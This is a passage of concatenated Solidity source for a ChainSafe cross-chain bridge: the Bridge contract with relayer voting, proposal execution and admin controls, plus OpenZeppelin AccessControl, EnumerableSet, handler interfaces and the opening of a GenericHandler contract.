* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IDepositExecute.sol";
import "./IBridge.sol";
import "./IERCHandler.sol";
import "./IGenericHandler.sol";
/**
@title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions.
@author ChainSafe Systems.
*/
contract Bridge is Pausable, AccessControl {
using SafeMath for uint256;
uint8 public _chainID;
uint256 public _relayerThreshold;
uint256 public _totalRelayers;
uint256 public _totalProposals;
uint256 public _fee;
uint256 public _expiry;
enum Vote { No, Yes }
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct Proposal {
bytes32 _resourceID;
bytes32 _dataHash;
address[] _yesVotes;
address[] _noVotes;
ProposalStatus _status;
uint256 _proposedBlock;
}
// destinationChainID => number of deposits
mapping(uint8 => uint64) public _depositCounts;
// resourceID => handler address
mapping(bytes32 => address) public _resourceIDToHandlerAddress;
// depositNonce => destinationChainID => bytes
mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords;
// destinationChainID + depositNonce => dataHash => Proposal
mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals;
// destinationChainID + depositNonce => dataHash => relayerAddress => bool
mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
event RelayerThresholdChanged(uint256 indexed newThreshold);
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event ProposalEvent(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID,
bytes32 dataHash
);
event ProposalVote(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID
);
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrRelayer() {
_onlyAdminOrRelayer();
_;
}
modifier onlyRelayers() {
_onlyRelayers();
_;
}
function _onlyAdminOrRelayer() private {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
}
function _onlyAdmin() private {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyRelayers() private {
require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role");
}
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param initialRelayers Addresses that should be initially granted the relayer role.
@param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed.
*/
constructor(
uint8 chainID,
address[] memory initialRelayers,
uint256 initialRelayerThreshold,
uint256 fee,
uint256 expiry
) public {
_chainID = chainID;
_relayerThreshold = initialRelayerThreshold;
_fee = fee;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialRelayers.length; i++) {
grantRole(RELAYER_ROLE, initialRelayers[i]);
_totalRelayers++;
}
}
/**
@notice Returns true if {relayer} has the relayer role.
@param relayer Address to check.
*/
function isRelayer(address relayer) external view returns (bool) {
return hasRole(RELAYER_ROLE, relayer);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminPauseTransfers() external onlyAdmin {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpauseTransfers() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_relayerThreshold} will be changed to.
@notice Emits {RelayerThresholdChanged} event.
*/
function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin {
_relayerThreshold = newThreshold;
emit RelayerThresholdChanged(newThreshold);
}
/**
@notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be added.
@notice Emits {RelayerAdded} event.
*/
function adminAddRelayer(address relayerAddress) external onlyAdmin {
require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!");
grantRole(RELAYER_ROLE, relayerAddress);
emit RelayerAdded(relayerAddress);
_totalRelayers++;
}
/**
@notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be removed.
@notice Emits {RelayerRemoved} event.
*/
function adminRemoveRelayer(address relayerAddress) external onlyAdmin {
require(hasRole(RELAYER_ROLE, relayerAddress), "addr doesn't have relayer role!");
revokeRole(RELAYER_ROLE, relayerAddress);
emit RelayerRemoved(relayerAddress);
_totalRelayers--;
}
/**
@notice Sets a new resource for handler contracts that use the IERCHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetResource(
address handlerAddress,
bytes32 resourceID,
address tokenAddress
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IERCHandler handler = IERCHandler(handlerAddress);
handler.setResource(resourceID, tokenAddress);
}
/**
@notice Sets a new resource for handler contracts that use the IGenericHandler interface,
and maps the {handlerAddress} to {resourceID} in {_resourceIDToHandlerAddress}.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetGenericResource(
address handlerAddress,
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external onlyAdmin {
_resourceIDToHandlerAddress[resourceID] = handlerAddress;
IGenericHandler handler = IGenericHandler(handlerAddress);
handler.setResource(resourceID, contractAddress, depositFunctionSig, executeFunctionSig);
}
/**
@notice Sets a resource as burnable for handler contracts that use the IERCHandler interface.
@notice Only callable by an address that currently has the admin role.
@param handlerAddress Address of handler resource will be set for.
@param tokenAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function adminSetBurnable(address handlerAddress, address tokenAddress) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.setBurnable(tokenAddress);
}
/**
@notice Returns a proposal.
@param originChainID Chain ID deposit originated from.
@param depositNonce ID of proposal generated by proposal's origin Bridge contract.
@param dataHash Hash of data to be provided when deposit proposal is executed.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _noVotes Number of votes against proposal.
- _status Current status of proposal.
*/
function getProposal(
uint8 originChainID,
uint64 depositNonce,
bytes32 dataHash
) external view returns (Proposal memory) {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(originChainID);
return _proposals[nonceAndID][dataHash];
}
/**
@notice Changes deposit fee.
@notice Only callable by admin.
@param newFee Value {_fee} will be updated to.
*/
function adminChangeFee(uint256 newFee) external onlyAdmin {
require(_fee != newFee, "Current fee is equal to new fee");
_fee = newFee;
}
/**
@notice Used to manually withdraw funds from ERC safes.
@param handlerAddress Address of handler to withdraw from.
@param tokenAddress Address of token to withdraw.
@param recipient Address to withdraw tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to withdraw.
*/
function adminWithdraw(
address handlerAddress,
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external onlyAdmin {
IERCHandler handler = IERCHandler(handlerAddress);
handler.withdraw(tokenAddress, recipient, amountOrTokenID);
}
/**
@notice Initiates a transfer using a specified handler contract.
@notice Only callable when Bridge is not paused.
@param destinationChainID ID of chain deposit will be bridged to.
@param resourceID ResourceID used to find address of handler to be used for deposit.
@param data Additional data to be passed to specified handler.
@notice Emits {Deposit} event.
*/
function deposit(
uint8 destinationChainID,
bytes32 resourceID,
bytes calldata data
) external payable whenNotPaused {
require(msg.value == _fee, "Incorrect fee supplied");
address handler = _resourceIDToHandlerAddress[resourceID];
require(handler != address(0), "resourceID not mapped to handler");
uint64 depositNonce = ++_depositCounts[destinationChainID];
_depositRecords[depositNonce][destinationChainID] = data;
IDepositExecute depositHandler = IDepositExecute(handler);
depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);
emit Deposit(destinationChainID, resourceID, depositNonce);
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data provided when deposit was made.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 resourceID,
bytes32 dataHash
) external onlyRelayers whenNotPaused {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(_resourceIDToHandlerAddress[resourceID] != address(0), "no handler for resourceID");
require(uint256(proposal._status) <= 1, "proposal already passed/executed/cancelled");
require(!_hasVotedOnProposal[nonceAndID][dataHash][msg.sender], "relayer already voted");
if (uint256(proposal._status) == 0) {
++_totalProposals;
_proposals[nonceAndID][dataHash] = Proposal({
_resourceID: resourceID,
_dataHash: dataHash,
_yesVotes: new address[](1),
_noVotes: new address[](0),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Active, resourceID, dataHash);
} else {
if (block.number.sub(proposal._proposedBlock) > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, resourceID, dataHash);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[nonceAndID][dataHash][msg.sender] = true;
emit ProposalVote(chainID, depositNonce, proposal._status, resourceID);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_relayerThreshold <= 1 || proposal._yesVotes.length >= _relayerThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Passed, resourceID, dataHash);
}
}
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param dataHash Hash of data originally provided when deposit was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint8 chainID,
uint64 depositNonce,
bytes32 dataHash
) public onlyAdminOrRelayer {
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(block.number.sub(proposal._proposedBlock) > _expiry, "Proposal not at expiry threshold");
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);
}
/**
@notice Executes a deposit proposal that is considered passed using a specified handler contract.
@notice Only callable by relayers when Bridge is not paused.
@param chainID ID of chain deposit originated from.
@param resourceID ResourceID to be used when making deposits.
@param depositNonce ID of deposited generated by origin Bridge contract.
@param data Data originally provided when deposit was made.
@notice Proposal must have Passed status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint8 chainID,
uint64 depositNonce,
bytes calldata data,
bytes32 resourceID
) external onlyRelayers whenNotPaused {
address handler = _resourceIDToHandlerAddress[resourceID];
uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);
bytes32 dataHash = keccak256(abi.encodePacked(handler, data));
Proposal storage proposal = _proposals[nonceAndID][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already transferred");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
proposal._status = ProposalStatus.Executed;
IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);
depositHandler.executeProposal(proposal._resourceID, data);
emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);
}
/**
@notice Transfers eth in the contract to the specified addresses. The parameters addrs and amounts are mapped 1-1.
This means that the address at index 0 for addrs will receive the amount (in WEI) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts) external onlyAdmin {
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity ^0.6.0;
/**
@title Interface for handler contracts that support deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IDepositExecute {
/**
@notice It is intended that deposit are made using the Bridge contract.
@param destinationChainID Chain ID deposit is expected to be bridged to.
@param depositNonce This value is generated as an ID by the Bridge contract.
@param depositer Address of account making the deposit in the Bridge contract.
@param data Consists of additional data needed for a specific deposit.
*/
function deposit(
bytes32 resourceID,
uint8 destinationChainID,
uint64 depositNonce,
address depositer,
bytes calldata data
) external;
/**
@notice It is intended that proposals are executed by the Bridge contract.
@param data Consists of additional data needed for a specific deposit execution.
*/
function executeProposal(bytes32 resourceID, bytes calldata data) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for Bridge contract.
@author ChainSafe Systems.
*/
interface IBridge {
/**
@notice Exposing getter for {_chainID} instead of forcing the use of call.
@return uint8 The {_chainID} that is currently set for the Bridge contract.
*/
function _chainID() external returns (uint8);
}
pragma solidity ^0.6.0;
/**
@title Interface to be used with handlers that support ERC20s and ERC721s.
@author ChainSafe Systems.
*/
interface IERCHandler {
/**
@notice Correlates {resourceID} with {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
*/
function setResource(bytes32 resourceID, address contractAddress) external;
/**
@notice Marks {contractAddress} as mintable/burnable.
@param contractAddress Address of contract to be used when making or executing deposits.
*/
function setBurnable(address contractAddress) external;
/**
@notice Used to manually release funds from ERC safes.
@param tokenAddress Address of token contract to release.
@param recipient Address to release tokens to.
@param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release.
*/
function withdraw(
address tokenAddress,
address recipient,
uint256 amountOrTokenID
) external;
}
pragma solidity ^0.6.0;
/**
@title Interface for handler that handles generic deposits and deposit executions.
@author ChainSafe Systems.
*/
interface IGenericHandler {
/**
@notice Correlates {resourceID} with {contractAddress}, {depositFunctionSig}, and {executeFunctionSig}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external;
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./IGenericHandler.sol";
/**
@title Handles generic deposits and deposit executions.
@author ChainSafe Systems.
@notice This contract is intended to be used with the Bridge contract.
*/
contract GenericHandler is IGenericHandler {
address public _bridgeAddress;
struct DepositRecord {
uint8 _destinationChainID;
address _depositer;
bytes32 _resourceID;
bytes _metaData;
}
// depositNonce => Deposit Record
mapping(uint8 => mapping(uint64 => DepositRecord)) public _depositRecords;
// resourceID => contract address
mapping(bytes32 => address) public _resourceIDToContractAddress;
// contract address => resourceID
mapping(address => bytes32) public _contractAddressToResourceID;
// contract address => deposit function signature
mapping(address => bytes4) public _contractAddressToDepositFunctionSignature;
// contract address => execute proposal function signature
mapping(address => bytes4) public _contractAddressToExecuteFunctionSignature;
// token contract address => is whitelisted
mapping(address => bool) public _contractWhitelist;
modifier onlyBridge() {
_onlyBridge();
_;
}
function _onlyBridge() private {
require(msg.sender == _bridgeAddress, "sender must be bridge contract");
}
/**
@param bridgeAddress Contract address of previously deployed Bridge.
@param initialResourceIDs Resource IDs used to identify a specific contract address.
These are the Resource IDs this contract will initially support.
@param initialContractAddresses These are the addresses the {initialResourceIDs} will point to, and are the contracts that will be
called to perform deposit and execution calls.
@param initialDepositFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {deposit}
@param initialExecuteFunctionSignatures These are the function signatures {initialContractAddresses} will point to,
and are the function that will be called when executing {executeProposal}
@dev {initialResourceIDs}, {initialContractAddresses}, {initialDepositFunctionSignatures},
and {initialExecuteFunctionSignatures} must all have the same length. Also,
values must be ordered in the way that that index x of any mentioned array
must be intended for value x of any other array, e.g. {initialContractAddresses}[0]
is the intended address for {initialDepositFunctionSignatures}[0].
*/
constructor(
address bridgeAddress,
bytes32[] memory initialResourceIDs,
address[] memory initialContractAddresses,
bytes4[] memory initialDepositFunctionSignatures,
bytes4[] memory initialExecuteFunctionSignatures
) public {
require(
initialResourceIDs.length == initialContractAddresses.length,
"initialResourceIDs and initialContractAddresses len mismatch"
);
require(
initialContractAddresses.length == initialDepositFunctionSignatures.length,
"provided contract addresses and function signatures len mismatch"
);
require(
initialDepositFunctionSignatures.length == initialExecuteFunctionSignatures.length,
"provided deposit and execute function signatures len mismatch"
);
_bridgeAddress = bridgeAddress;
for (uint256 i = 0; i < initialResourceIDs.length; i++) {
_setResource(
initialResourceIDs[i],
initialContractAddresses[i],
initialDepositFunctionSignatures[i],
initialExecuteFunctionSignatures[i]
);
}
}
/**
@param depositNonce This ID will have been generated by the Bridge contract.
@param destId ID of chain deposit will be bridged to.
@return DepositRecord which consists of:
- _destinationChainID ChainID deposited tokens are intended to end up on.
- _resourceID ResourceID used when {deposit} was executed.
- _depositer Address that initially called {deposit} in the Bridge contract.
- _metaData Data to be passed to method executed in corresponding {resourceID} contract.
*/
function getDepositRecord(uint64 depositNonce, uint8 destId) external view returns (DepositRecord memory) {
return _depositRecords[destId][depositNonce];
}
/**
@notice First verifies {_resourceIDToContractAddress}[{resourceID}] and
{_contractAddressToResourceID}[{contractAddress}] are not already set,
then sets {_resourceIDToContractAddress} with {contractAddress},
{_contractAddressToResourceID} with {resourceID},
{_contractAddressToDepositFunctionSignature} with {depositFunctionSig},
{_contractAddressToExecuteFunctionSignature} with {executeFunctionSig},
and {_contractWhitelist} to true for {contractAddress}.
@param resourceID ResourceID to be used when making deposits.
@param contractAddress Address of contract to be called when a deposit is made and a deposited is executed.
@param depositFunctionSig Function signature of method to be called in {contractAddress} when a deposit is made.
@param executeFunctionSig Function signature of method to be called in {contractAddress} when a deposit is executed.
*/
function setResource(
bytes32 resourceID,
address contractAddress,
bytes4 depositFunctionSig,
bytes4 executeFunctionSig
) external override onlyBridge {
